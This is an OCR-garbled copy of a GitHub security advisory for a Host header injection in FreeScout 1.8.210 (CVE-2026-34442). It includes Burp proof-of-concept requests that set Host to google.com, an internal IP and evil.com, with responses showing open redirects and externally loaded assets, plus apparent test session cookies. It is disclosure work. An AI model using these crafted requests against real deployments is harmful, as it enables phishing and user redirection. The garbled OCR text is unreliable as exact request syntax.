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freescout-help-desk published GHSA-822g-7rw5-53xj 5 days ago

Package

rhp freescout/freescout (Composer)

Affected versions Patched versions
<1.8.211 1.8.211
Description

Summary

Host header manipulation in FreeScout version 1.8.210 (http://localhost:8080/ and all application
endpoints) allows an attacker to inject an arbitrary domain into generated absolute URLSs. This leads to
External Resource Loading and Open Redirect behavior. When the application constructs links and
assets using the unvalidated Host header, user requests can be redirected to attacker-controlled
domains and external resources may be loaded from malicious servers.

Details

FreeScout uses the incoming Host header when generating absolute URLSs for redirects, navigation
links, and static resources. Because the Host

When the manipulated host is processed, the application generates responses containing attacker-
controlled URLs. These URLs are reflected in:

Redirect responses (Location header)

Navigation links

Image resources

Favicon and manifest references

AJAX endpoints such as /conversation/ajax-html/default_redirect
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This behavior enables loading of external resources from attacker infrastructure and may allow phishing

attacks or user redirection.

PoC

Send a crafted request with a malicious Host header:

[ s RS

Request

Cancel * Burp Al

Pretty Raw Hex

CET / HTTP/L.1
Host: localhost:8080
sec-ch-ua: "Chromium
sec-ch-ua-mobile: 20
sec-ch-ua-platform
Accept-Language: en-US,en;q
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£4) AppleWehKit/537.36
(KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.3&
Accept:
text/htnl,application/xhtmlixml, application/xml;q=0.9,image/avif,inage/webp, ina
ge/apng,*/*;q=0_8,application/signed-exchange ;v=bh3; .7
0 Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: laravel session=

-

45", "Not:A-Brand";v="99"

“Windows"

eyIpdil6T X VHbnZxNESERELIVUFvMlwvR3IZRPT0iLCI YWk 1ZS 16T 1p SWniMSz 10d0FBQXVTSIV
vlU4yakpQTuRaTkw b3h3THE LV3VWTRdKb 1 ZHVFAwU 3N ek Mr RUF oWk R duIWN 1AV ESDWUnRsMF QycE
MranhqNFFqVGgrb32ZNTTZcL3RiR0dzULL1WUULQVp TWFAZCGezZnSnynd JTOYwZ09p TGZRYiIs InlhY
yIE13e2MIUYmRhMIZkM) E2YZ2FhNWRhZ ) YwZWZiNT cyNzkwMn O MDMSHVZulZ E LNWVAN § E4N3U3Z3 10
NnZjMDg4YTMi £Q%3D4 3D

Search e

O <« >

0 highlights

Request

Pretty Raw Hex

1 GET / HTTP/1.1
2 Host: google.com
i sec-ch-ua
4 sec-ch-ua-mobile: 20
¢ sec-ch-ua-platform
Accept-Language: en-US,en;q=|
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; xE4) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
5 Accept:
text/html,application/xhtml+xml, application/xml;q=0.9,image/avif, image/webp,ima
ge/apng,*/*;q=0.8,application/signed-exchange;v=h3;q=0.7

" Chromi &li5", "Not:A-Brand";w="99"

"Windows"

.9

10 Sec-Fetch-Site: none

11 Sec-Fetch-Mode: navigate
Sec-Fetch-User: 271
Sec-Fetch-Dest: document

14 Accept-Enceding: gzip, deflate, br
15 Cookie: laravel_session=
eyIpdil61ihXQkVHbnZxNESEREL LVUFvHLwvR3ZRPT0iLCI2YWx 125161 1p SWUnkMSz10d0FBOXVTSV
VIlU4yakpQTaRaTkwibIh3THE LVIVWTEd:h L ZHVFAWY 3M2 el Mr BWF Wik B3 dwJWIT1 dVe ESDUnRsMF QycE
MramhqNFFqUGQrb3ZNTTZcL3RiR0AZULLINUULQVp TWFAZcGezZnsnynd JTOYwZ09p TGZRY1IsInlhY
yI1613c2M2UYnPhM; ZkM) B2 YZFRNWRhZ ) YWZWZiMT cyNzkwinQ 2 MDMSNWZul 2 ELNWVLNS E4N1 U325 10
NmZiMDg4TTHi £0%3D%3D

Search p 0 highlights

Q& ¢ >

Done

Response [ ]

Pretty Raw Hex Render =
<!DOCTYPE html>

14 <html lang="en" »

15 <head>

1 <meta charset="utf-g8"s>

<meta http-equiv="X-UA-Compatible" content="TE=edge">
18 <meta name="viewport" content="width=device-width, initial-scale=l,
maximum=-scale=1">

<meta name="robots" content=

‘noindex,nofollow">

<i-- CSDF Token
<meta name="csrf-token" content="SGCSvDLTTuuRiNILab3Z7ef0qz8p fSpWShsagZio”
>

>

23 <meta hrtp-equiv="Content-Security-Policy" content="base-uri 'none';
default-src ‘self' ; img-src * 'self' data:; font-src * 'self' data:;
style-src * 'self' 'unsafe-inline'; form-action 1f' ; frame-src *
'self'; script-sre 'self' 'nmonce-4BuCuBD3Sf3wrd0PGKQupZhlG' ;">

24 <title>

Dashboard - FreeScout
</title>

<link rel="apple-touch-icon" sizes="180x180" href
/localhost:8080/apple-touch-icon. png">
rel='shorteut icon" type="image/x-icon" href="

<link rel="manifest" href="http://localhost:B080/site webmanifest"
crossorigin="use-credentials">

29 <link rel='mask-icon" href="http://localhost:8080/safari-pinned-tab.svg"
color="g#5bbads">
<meta name="msapplication-TileColor" content="fda532c">
<meta name="theme-color" content="gffffff">

<link href="

@@ <l 2 llu(alnnsd

x] 37 matches

Pretty Raw Hex Render

‘self'; script-sre 'self' 'nonce-OWyGKzyCEOquqsOZUcTVEiXEa' ;">
<citle>

Dashboard - FreeScout
</title>

Target: http://
Inspector
Request attributes
Request query parameter:
Request body parameters
Request cookies
Request headers

Response headers

Inspector
Request attributes

Request query paran

<link rel="apple-touch-icon® sizes="180x1860" href="
htep://google. com/apple-touch-icon. png">

<link rel="shortcut icon" type="image/x-icon® href="

htep://google. com/favicon. ico">

<link rel="manifest" href="http://google.com/site. webmanifest" crossorigin
="use-credentials">

<link rel
="§5bbads">

<meta name="msapplication-TileColor" content="fda532c">
<meta name="theme-color" content="fffffff">

mask-icon" href:

http://google.con/safari-pinned-tab.svg" color

quest body param

Request cookies

Request headers

Response headers

<link href="
http://localhost:8080/css/builds/55281leceabs804££8d211d76bS5055a124208039
50.css" rel="stylesheet"s

38 </head>

33 <body class="locale-en user-is-admin "  data-auth user_id= >
40 <div i

41

4z

43 <nav class="navbar navbar-default navbar-static-top"s

<div class="container"'s
<div class="navbar-header">

<button type="button' class="navbar-toggle collapsed" data-toggle=
“collapse" data-target="fapp-navbar-collapse" aria-expanded:

"false

google.com X 35 matches
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W = Prety Raw  Hex  Render 2@

Request attrit

Pretty Raw Hex

GET / HTTP/1.1

1
2 Host: google.com <a class="navbar-brand" href="htep://google.com" title="Dashboard" Request quen
3 sec-ch-ua: “Chromium “Not: A-Brand" ;v="85" >

4 sec-ch-ua-mobile: 20 58 <img sre="http://google.com/img/logo-brand. svg" height="100%" Request bod,
5 sec-ch-ua-platform: "Windows" alt=re s> g d
€ Accept-Language: en-US, en;q=0.9 <ja>

7 Upgrade-Insecure-Requests: 1 </div> Request cook

User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x£4) AppleWebKit/537.36
<div class="collapse navbar-collapse" id="app-navbar-collapse'>

(KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.3&
S Accept: <ul class="nav navhar-nav"> Request head
text/html,application/xhtml+xml,application/xml;q=0.9,inage/avif, inage/webp, ima €1 <li class="">
ge/apng, */*;q=0.8,application/signed-exchange;v=h3;q=0.7 <a href="http://google. com/mailbox/1"> Response hea
0 Sec-Fetch-Site: none Mailbox
1 Sec-Fetch-Mode: navigate </a>
2 Sec-Fetch-User: 71 </1li>
3 Sec-Fetch-Dest: document €2 «li class="dropdown ">
Accept-Encoding: gzip, deflate, br €3 <a href="g" class="dropdown-toggle" data-toggle="dropdowm"”
.5 Cookie: laravel session= role="button" aria- ded="false" aria-h *true" v-pre
eydpdi 61 IhXQkVHbnZxNESERELLVUFvM1lwvRIZRPTOLLCIZYWx1ZS 161 1p SWnBMSz LOAOFBQXVTS2V >
vNU4yakpQTmRaTkwb3h3THB1V3VWTEdkh 1ZHVFAWY 3M ek Mr PWF oWl R dnJWIN1dVce ESDUnRsMFQycE 4 Manage <span class="caret">
MranhqNFFqVCgrbh3ZNTTZeL3RiR0dzULLIWUULQVP TWFAZcCozZninYnl JTOYWZ0Sp TCZRYLils InlhY </span>
yIE13c2MIUZYnPhM; ZkM) E2Y2FhiWRhE ) YwZWZ iMT cylizk winQ THDMSNVZnN 2 ELNWVLN 3 E4N3U3Z5 10 s </a>
NmZiMDg4YTMi £Q% 3D% 3D €6

<ul class="

ropdown-menu®>
ws

7 8 <li elas
; <a href="http://google.com/app-settings">
Settings
<sa>
</li>
€s <li clas

<a href="http://google. com/mailboxes">
Mailboxes
</a>
</1i>
® @ € 2 | search L 0 highlights @ @ € 2> [guagl:,com "J 35 matches
Nane
@ Dashboard - FreeScout X G Dashboard - FreeScout X +

<« = C ® localhost:8080

Mailbox ~ Manage ~

FreeScout Dashboard

asasas
sdasas@gmail.com

Administrator has not configured
mailbox connection settings yet.

Configure

o =

FreeScout
1.8.210

joogle.com/mailbox/1

External Resource Loading
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4/4/26, 9:51 PM

Request

Pretty Raw Hex

1 GET / HTTP/1.1

Host: 192.168.100.9:8000

sec-ch-ua: "Chromium"; hac:A-Ermd‘
sec-ch-ua-mobile: 20

sec-ch-ua-platform: “Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1

w

1o

(KHTML, likre Gecko) Chrome/145.0.0.0 Safari/537.3&
Accept:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd4; x£€4) AppleWebKit/§37.3&

text/html, application/xhtmltxml,application/xml;q=0.9,inage/avif, inage/webp,ina

ge/apng,*/*;q=0.8,application/signed-exchange;v=b2;q=0.7
Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate
Sec-Fetch-User: 2?1
Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br
Cookie: laravel session=

eyJpdi &I hXQkVHbnZxNESERELIVUFvMlwvR3ZRPTOLLCTI 2 YW 1ZSTET 1p SWnBMS=1 0d0FBOXVTS 2V
vNU4yakpQTmRaTkwh3h3THB1V3IVWTEdkL 1ZHVFAWV N2 ek Mr RUF oWk R) dnJWN1aVe ESDWnRsMFQycE
Mz amhqNFFqVGgrb3ZNTTZcL3RiR0dzULL IWUULQVp TWFAZ cGezZnSnYnl JTOYWZ09p TCZRYils ImlhY
YIEI cIMIUZYmPhM) Zk M ESYeFhNWRhZ  YWwZWZ iMT cyNek wMnQ MDMSNWZnNZ ELNWVhN E4NIU3ZH 10

NmZ3iMDg4YTMi £0%3D% 3D
L gommection: keepsalive

@& € > | san £ onighlights
None

1 X+

©  cmce <~ + BupAl

Request

Pretty Raw Hex

GET / HTTP/L.1
Host: 192.1€8.100.9:8000
sec-ch-u Chromium";v="145", “Not:A-Brand"
sec-ch-ua-mobile: 70
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1

-

w

(KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Accept:

text/html,application/xhtml+xml, application/xnl;q=0.9,inage/avit, image/webp, ima

ge/apng,*/*;q=0.8,application/signed-exchange;v=b2;q=0.7
Sec-Fetch-Site: none

Sec-Fetch-Mode: navigate

Sec-Fetch-User: ?1

Sec-Fetch-Dest: document

Accept-Encoding: gzip, deflate, br

Cookie: laravel_ session=

e

eyJIpdiT&61§hXQkVEbnZ xNESEREL1VUFvM1wwR3ZRPT0iLCI2YWx1ZS 161 LpSUnPMS=z10d0FBQXVTSIV
vIU4yalkpQTmRaTkwih3h3THBLV3VWTEdkb 1 ZHVF AwVIHZ el:Mx BWF oWl B3 dmJWN1dVcESDWRRsMFOycE
MramhqNFFqVGgrb3ZNTTZeL3RiR0dzUL 1 1WUULQVp TWFAZ cCezZnSnYnd ITOYWZ09pTGZRY i Is TnlhY
yIET§e2M2USYnPhM] 2} My B2 Y2 FhNWPhZ 3 YwZWZ i MT ey Nzl whn Q "MDMSHWZuN 2 EINWVhNS E4N3U3Z3 10

Search il 0 highlights

O® >

Selection: 18 (0x12)

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x£&4) AppleWebKit/537.3&

Selection: 18 (0x12)

n =

Response == Inspec
Pretty Raw Hex Render W = Reques
</span>
51 <span class="icon-bar"> Reques
</span>
52 </button>
53 Reques
54 <a class="navbar-brand" href="http://192_ 1€8.100.9:8000" citle="
Dashboard"> Reques
55 <img src="http://192.1E6.100.5:8000/ing/logo-brand. svg" height="
100%" ale="" />
</ar Reques
</div>
Respon

<ul class="nav navbar-nav">
s

Mailbox
</a>
</li>
<li eclass="dropdown ">
<a hre

W

<div class="collapse navhar-collapse" id="app-navhar-collapse">

http://192.168.100.9:8000/mailbox/1">

#" class="dropdown-toggle" data-toggle="dropdown®
role="button" aria-expanded="false" aria-haspopuj

"true” v-pre

€4 Manage <span class="caret">
</span>

€5 </a>

€7 <ul elass="dropdown-menu">

€8 S

Settings
</a>
</li>

€9 <li class="">

@A« >

192.168.100.9:3000

heep: //192.1€8.100.9: 8000/ app-settings">

X 35 matches

https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-822g-7rw5-53x;j

Response -
= Pretty Raw Hex Render ® =
</span>
S1 <span class="icon-bar" San
</span> Send to Intruder Ctrl=1
52 </button>
53 Send to Repeater ctri+R
54 <a class="navbar-brand" | itle="
Dashboard"s Send to Sequencer
55 <img sre="http://182. L Send to Comparer height="
100%" alt="" />
c </a> Send to Decoder
7 </div> Send to Organizer Ctrl=0
s <div class="collapse navha.  OPENIesponse in browser N
° <ul class="nav navbar-na  pecord an issue [Pro version only] >
Request in browser >
Engagement tools [Pro version only] >
Copy Ctrl=C
€2 dropdowm ">
. §* class="a  Copy prettified Ctri+Al+C (oo
role="button" aria-e: Copy URL ie" v-pre
>
€4 Manage <span class: Copy as curl command (bash)
- </span> Save selected text to file
€s </a>
€€ Save item
€7 <ul class="dropdown-1 )
es Save entire history
Paste host / URL as request
Settings
</a> Add to site map
1
e Convert selection >
€3 <li class="">
Cut Ctrl+X
@O € > | 192166.1009:5000 Copy Cilec | 35 matches
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<« c ® localhost:3080

Mailbox Manage ~

FreeScout Dashboard

asasas

Configure

When a victim visits the affected page, the browser loads
resources from the attacker-controlled domain.

Open Redirect

<« C @ localhost:8080 * 9 @ @

®) Maibox  Manage - a4 @ nomin -

Your Profile
FreeScout Dashboard

Log Out
asasas /

Configure

https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-822g-7rw5-53x;j 5/7
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Request Response

Pretty Raw Hex ®n a (L

5T /logout HTTP/L.1
Host: localhost:8080
Content-Length: 47

4 Cache-Control: max-age=0
sec-ch-ua: "Chromium";
sec-ch-ua-mobile: 70
sec-ch-ua-plat form: "Windows"
Accept-Language: en-US,en;q=0.9
Origin: http://localhost:B8080
Content-Type: application/x-www-form-urlencoded

'145", "Not:A-Brand"

11 Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wingd4;

AppleWebKit /537.36

(FHTML, like Cecko) Chrome/145.0.0.0 Safari/537.36
Accept

text/html, application/xhtnl+xml, application/xml;q=0.9,image/avif, inage/webp, ima
3;q=0.7

ge/apng,*/*;q=0.8,application/signed-e
Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: navigate
Sec-Fetch-User: 71
Sec-Fetch-Dest:
Referer: http://localhost:8080/
Accept-Encoding: gzip, deflate, br

Cookie: laravel session=
eyJpdiTEI1FNZ1A4MWlwSTVsT1ELlajVSTDBOencIPSIsIr
BENzlhdlZms JcUZ3REUwZCcBaEVFTnJe REULXCElcEhzdl
Y1VPUZhRWDE ZNUp 1 RUVM
ZMOMzg4NZZ1NmQxNjkzY 1k SMDZ 1 Zm(

GYSZG

ZM3NJF1NTNkY Y TUwNDdiYZMONT 1m

eep-ali
en=SGCOvDLTTuuRiNILab3Z7e f0qzBp £S5 BgZ3o
Request Response == Inspector
Pretty Raw Hex nB@ wn = Pretty Raw Hex Render N = Request attribul
1 POST /logout HTTR/1.1 1 HTTP/1.1 302 Found
2 Host: evil com Content-Type: text/html; charsec=UTF-8 Request query £
Content-Length: 47 Connection: keep-alive
4 Cache-Control: max-age=0 4 Cache-Control: max-age=0, must-revalidate, no-cache, no-store, private A t bod
sec-ch-ua: "Chromium";v="145", "Not:A-Brand" Date: Wed, 25 Mar 2026 17:08:10 GMT SOy o
sec-ch-ua-mobile: 70 ¢ Loecation: http://evil.com
sec-ch-ua-plat form: "Windows" X-Frame-Options: SAMEORIGIN Request cookie:

Accept-Language: en-US,en;q=0.9
Origin: http://localhost:B8080
Content-Type: application/x-www-form-urlencoded laravel_session= Request header

11 Upgrade-Insecure-Requests: 1 IndlTUULAGA4K3RES3F!

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winf4; x&4) AppleWebKit/537.3¢

Response headi

(KHTML, like Gec Chrome/145.0.0.0 Safari/537.36 v
Accept I1N)RhMTV; Njc 5 07jJ1NmIlMDe Iy JULNDULOThiNzgzYWFLN)Qx
text/html,application/xhtnl+xml, application/xml;q=0.9,image/avit, inage/webp,ina N2ZiVZPhIn0%3D; expires=Wed, 25-Mar-2026 19:08:10 GMT; Max-Age=7200;
ge/apng,*/*;q=0.8,application/signed-exchange;v=b3,q=0.7 path=/; httponly
Sec-Fetch-Site: same-origin 11 Content-Length: 304

§ Sec-Fetch-Mode: navigate
Sec-Fetch-User: 21 <!DOCTYPE html>
Sec-Fetch-Dest: document i <html>
Referer: http://localhost: 8080/ <head>
Accept-Encoding: gzip, deflate, br e <meta charset="UTF-8" />

<meta http-equiv fresh® content="0;url=http:/

SPSTs INnZhbHV1I| 010X,
" §POVNiZnBOUXn
V1F3NWVES3JI1S0dyMXFFM014 RnZHbXRZNX05
FTMyMTQyMTU4Y TdmOGRE mUx

15WGNHOSWS
YkQrNZ <title>

1rWSTs ImlhY Redirecting to http://evil.cem
Q4 </title> ‘\

Redirecting to <a hrefs"http://evil. com"s

_token=khSky7qiBRwlighlemiW5E51Agnéxa? TulSpdéivy http: //evil.com \
<sa>

@@ € >  search el 0 highlights @@ € 2 | evil.com X S matches

ol
®

€« x /fevil.com w9
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Impact

Open Redirect vulnerability

External Resource Loading

Possible phishing attacks

Ul redressing / brand impersonation

User traffic redirection to attacker infrastructure
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This affects all users interacting with vulnerable endpoints where absolute URLs are generated using
the unvalidated Host header.

Severity

5.4 /10

CVSS v3 base metrics

Attack vector Network
Attack complexity Low
Privileges required None
User interaction Required
Scope Unchanged
Confidentiality Low
Integrity Low
Availability None

Learn more about base metrics
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N

CVE ID

CVE-2026-34442

Weaknesses

» CWE-20
» CWE-601
» CWE-829

Credits

‘ BehramAgaahmedli Reporter
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